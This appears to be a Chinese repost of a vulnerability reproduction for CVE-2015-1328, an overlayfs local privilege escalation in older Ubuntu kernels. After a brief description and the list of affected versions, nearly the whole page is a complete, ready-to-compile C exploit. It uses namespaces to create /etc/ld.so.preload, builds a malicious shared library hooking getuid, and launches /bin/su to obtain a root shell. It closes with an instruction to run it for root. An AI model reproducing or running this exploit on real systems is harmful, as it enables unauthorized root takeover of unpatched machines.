ICode9

精准搜索请尝试: 精确搜索
首页 > 系统相关> 文章详细

(CVE-2015-1328)Ubuntu Linux内核本地提权漏洞

2020-07-26 14:33:02  阅读:759  来源: 互联网

标签:tmp include lib 1328 Ubuntu 提权 stderr sploit ns


(CVE-2015-1328)Ubuntu Linux内核本地提权漏洞

一、漏洞简介

本地普通用户可以利用该漏洞在敏感系统目录中创建新文件或读取敏感文件内容,从而提升到管理员权限。

二、漏洞影响

Ubuntu 12.04,14.04,14.10,15.04 (内核 Kernel 3.13.0 < 3.19

三、复现过程

  • 查看Ubuntu版本与内核

    均在漏洞影响范围内,下载并编译poc

    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>
    #include <sched.h>
    #include <sys/stat.h>
    #include <sys/types.h>
    #include <sys/mount.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>
    #include <sched.h>
    #include <sys/stat.h>
    #include <sys/types.h>
    #include <sys/mount.h>
    #include <sys/types.h>
    #include <signal.h>
    #include <fcntl.h>
    #include <string.h>
    #include <linux/sched.h>
    
    #define LIB "#include <unistd.h>\n\nuid_t(*_real_getuid) (void);\nchar path[128];\n\nuid_t\ngetuid(void)\n{\n_real_getuid = (uid_t(*)(void)) dlsym((void *) -1, \"getuid\");\nreadlink(\"/proc/self/exe\", (char *) &path, 128);\nif(geteuid() == 0 && !strcmp(path, \"/bin/su\")) {\nunlink(\"/etc/ld.so.preload\");unlink(\"/tmp/ofs-lib.so\");\nsetresuid(0, 0, 0);\nsetresgid(0, 0, 0);\nexecle(\"/bin/sh\", \"sh\", \"-i\", NULL, NULL);\n}\n return _real_getuid();\n}\n"
    
    static char child_stack[1024*1024];
    
    static int
    child_exec(void *stuff)
    {
    char *file;
    system("rm -rf /tmp/ns_sploit");
    mkdir("/tmp/ns_sploit", 0777);
    mkdir("/tmp/ns_sploit/work", 0777);
    mkdir("/tmp/ns_sploit/upper",0777);
    mkdir("/tmp/ns_sploit/o",0777);
    
    fprintf(stderr,"mount #1\n");
    if (mount("overlay", "/tmp/ns_sploit/o", "overlayfs", MS_MGC_VAL, "lowerdir=/proc/sys/kernel,upperdir=/tmp/ns_sploit/upper") != 0) {
    // workdir= and "overlay" is needed on newer kernels, also can't use /proc as lower
    if (mount("overlay", "/tmp/ns_sploit/o", "overlay", MS_MGC_VAL, "lowerdir=/sys/kernel/security/apparmor,upperdir=/tmp/ns_sploit/upper,workdir=/tmp/ns_sploit/work") != 0) {
    fprintf(stderr, "no FS_USERNS_MOUNT for overlayfs on this kernel\n");
    exit(-1);
    }
    file = ".access";
    chmod("/tmp/ns_sploit/work/work",0777);
    } else file = "ns_last_pid";
    
    chdir("/tmp/ns_sploit/o");
    rename(file,"ld.so.preload");
    
    chdir("/");
    umount("/tmp/ns_sploit/o");
    fprintf(stderr,"mount #2\n");
    if (mount("overlay", "/tmp/ns_sploit/o", "overlayfs", MS_MGC_VAL, "lowerdir=/tmp/ns_sploit/upper,upperdir=/etc") != 0) {
    if (mount("overlay", "/tmp/ns_sploit/o", "overlay", MS_MGC_VAL, "lowerdir=/tmp/ns_sploit/upper,upperdir=/etc,workdir=/tmp/ns_sploit/work") != 0) {
    exit(-1);
    }
    chmod("/tmp/ns_sploit/work/work",0777);
    }
    
    chmod("/tmp/ns_sploit/o/ld.so.preload",0777);
    umount("/tmp/ns_sploit/o");
    }
    
    int
    main(int argc, char **argv)
    {
    int status, fd, lib;
    pid_t wrapper, init;
    int clone_flags = CLONE_NEWNS | SIGCHLD;
    
    fprintf(stderr,"spawning threads\n");
    
    if((wrapper = fork()) == 0) {
    if(unshare(CLONE_NEWUSER) != 0)
    fprintf(stderr, "failed to create new user namespace\n");
    
    if((init = fork()) == 0) {
    pid_t pid =
    clone(child_exec, child_stack + (1024*1024), clone_flags, NULL);
    if(pid < 0) {
    fprintf(stderr, "failed to create new mount namespace\n");
    exit(-1);
    }
    
    waitpid(pid, &status, 0);
    
    }
    
    waitpid(init, &status, 0);
    return 0;
    }
    
    usleep(300000);
    
    wait(NULL);
    
    fprintf(stderr,"child threads done\n");
    
    fd = open("/etc/ld.so.preload",O_WRONLY);
    
    if(fd == -1) {
    fprintf(stderr,"exploit failed\n");
    exit(-1);
    }
    
    fprintf(stderr,"/etc/ld.so.preload created\n");
    fprintf(stderr,"creating shared library\n");
    lib = open("/tmp/ofs-lib.c",O_CREAT|O_WRONLY,0777);
    write(lib,LIB,strlen(LIB));
    close(lib);
    lib = system("gcc -fPIC -shared -o /tmp/ofs-lib.so /tmp/ofs-lib.c -ldl -w");
    if(lib != 0) {
    fprintf(stderr,"couldn't create dynamic library\n");
    exit(-1);
    }
    write(fd,"/tmp/ofs-lib.so\n",16);
    close(fd);
    system("rm -rf /tmp/ns_sploit /tmp/ofs-lib.c");
    execl("/bin/su","su",NULL);
    }
    
  • 编译poc 后直接运行获得权限

标签:tmp,include,lib,1328,Ubuntu,提权,stderr,sploit,ns
来源: https://www.cnblogs.com/tlbjiayou/p/13380347.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有